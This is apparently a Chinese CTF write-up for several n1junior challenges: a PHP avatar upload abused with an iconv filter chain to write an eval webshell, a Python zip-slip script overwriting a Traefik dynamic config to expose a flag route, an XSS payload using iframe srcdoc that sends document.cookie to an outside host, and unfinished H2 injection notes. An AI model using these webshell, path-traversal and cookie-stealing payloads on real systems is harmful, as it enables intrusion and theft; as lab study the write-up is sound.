最近比较忙,n1junior当时报名了没去打,现在来复现一下,感谢bao师傅提供的附件
upload.php:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<? php
require_once 'common.php' ;
$user = getCurrentUser ();
if ( ! $user ) header ( 'Location: index.php' );
$avatarDir = __DIR__ . '/avatars' ;
if ( ! is_dir ( $avatarDir )) mkdir ( $avatarDir , 0755 );
$avatarPath = " $avatarDir / { $user [ 'id' ] } " ;
if ( ! empty ( $_FILES [ 'avatar' ][ 'tmp_name' ])) {
$finfo = new finfo ( FILEINFO_MIME_TYPE );
if ( ! in_array ( $finfo -> file ( $_FILES [ 'avatar' ][ 'tmp_name' ]), [ 'image/jpeg' , 'image/png' , 'image/gif' ])) {
die ( 'Invalid file type' );
}
move_uploaded_file ( $_FILES [ 'avatar' ][ 'tmp_name' ], $avatarPath );
} elseif ( ! empty ( $_POST [ 'url' ])) {
$image = @ file_get_contents ( $_POST [ 'url' ]);
if ( $image === false ) die ( 'Invalid URL' );
file_put_contents ( $avatarPath , $image );
}
header ( 'Location: profile.php' );
最后可以只传url,直接post传
然后avatar.php
可以正常读到
但是dockerfile可以看见flag要rce才可以读到
无脑上cn-ext,用的珂字辈师傅的脚本:
https://github.com/kezibei/php-filter-iconv/blob/main/README.md
cmd = “echo ‘<?=@eval($_POST[1]);?>’ > shell.php”
主要考了一个traefik的动态代理转发还有本地xff伪造。
我们通过查看doc可以看到traefik的动态配置是可以实时更新的。
所以思路就是,上传一个config文件将dynamic配置给他覆盖掉将flag路由暴露出来。
首先看一下原本的配置怎么写的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Dynamic configuration
http :
services :
proxy :
loadBalancer :
servers :
- url : "http://127.0.0.1:8080"
routers :
index :
rule : Path(`/public/index`)
entrypoints : [ web]
service : proxy
upload :
rule : Path(`/public/upload`)
entrypoints : [ web]
service : proxy
所以我们需要加一个路由
1
2
3
4
flag :
rule : Path('/flag')
entrypoints : [ web]
service : proxy
注意一下要写一个middlewares加一个hearder就行了
然后看到源码:
上传后就解压
没有校验,所以可以目录穿越,所以现在的思路就很清晰,上传一个文件目录穿越到config文件,覆盖然后将flag路由暴露出来最后伪造即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from zipfile import ZipFile
import zipfile
import requests
binary = open ( "dynamic.yml" , "r" ) . read ()
with zipfile . ZipFile ( "test.zip" , "w" , zipfile . ZIP_DEFLATED ) as zipf :
zipf . writestr ( "./../../.config/dynamic.yml" , binary )
print ( f "[+] ZIP 文件生成完成" )
def upload ():
files = { "file" : ( "test.zip" , open ( "test.zip" , "rb" ), "application/zip" )}
res = requests . post ( url = "http://192.168.174.128/public/upload" , files = files )
if res . status_code == 200 :
print ( "文件上传成功!" )
if __name__ == "__main__" :
upload ()
res = requests . get ( url = "http://192.168.174.128/flag" )
print ( res . text )
很明显的一道xss题,大家说挺好玩的我就来玩玩了
这里用了DOMpurify来对标签进行过滤,
hints:
用iframe嵌入子页面可以重新唤起DOM解析器解析script标签
先看一下index路由
1
2
3
4
5
6
7
8
9
10
11
12
if ( queryText ) {
const sanitizedText = sanitizeContent ( atob ( decodeURI ( queryText )));
if ( sanitizedText . length > 0 ) {
textInput . innerHTML = sanitizedText ; // 写入预览区
contentDisplay . innerHTML = textInput . innerText ; // 写入效果显示区
insertButton . disabled = false ;
} else {
textInput . innerText = "Only allow h1, h2 tags and plain text" ;
}
}
用的是textInput
文本作为输入,然后base64编码一下,测试:
csp策略:
1
const csp = "script-src 'self'; object-src 'none'; base-uri 'none';" ;
index.js中设置了dompurify,限制了只能用h1和h2标签
处理异常路由,也就是404页面
1
2
3
app . use (( req , res ) => {
res . status ( 200 ). type ( 'text/plain' ). send ( ` ${ decodeURI ( req . path ) } : invalid path` );
}); // 404 页面
所以其实就是打404页面然后让其解析为html即可。
文章: https://www.justus.pw/writeups/sekai-ctf/tagless.html
然后标签就用实体化编码绕过就行,因为是text
最后就是iframe+srcdoc
最后playload:
<iframe srcdoc="<script src='**/fetch(
http://ip/+document.cookie);//'></script>">
当然这里的实体化编码也可以用别的方式来写,然后闭合前面的/
也可以利用换行来绕。
但是不知道为什么我这里打bot打不通,但是index可以打的通,可能是环境问题
bushi,刚写完这一段就能打通
来到我最不擅长的java了,但是总得面对吧,一步步来吧
1
DOCKER_BUILDKIT=1 docker-compose up -d
先起一个环境,去吃个饭,晚点来继续搞
很简单判断是H2数据库
login路由
跟进看到有个query的地方
executeQuery这里可以堆叠输入
黑名单:
然后不会了,马上去补知识……..
可以看到h2的配置文件
然后网上看了大概有几种打法,还在学习中呜呜呜,但是这里是利用alies可以写一个方法来调用去弹shell或者其他操作,太晚了,该休息了………….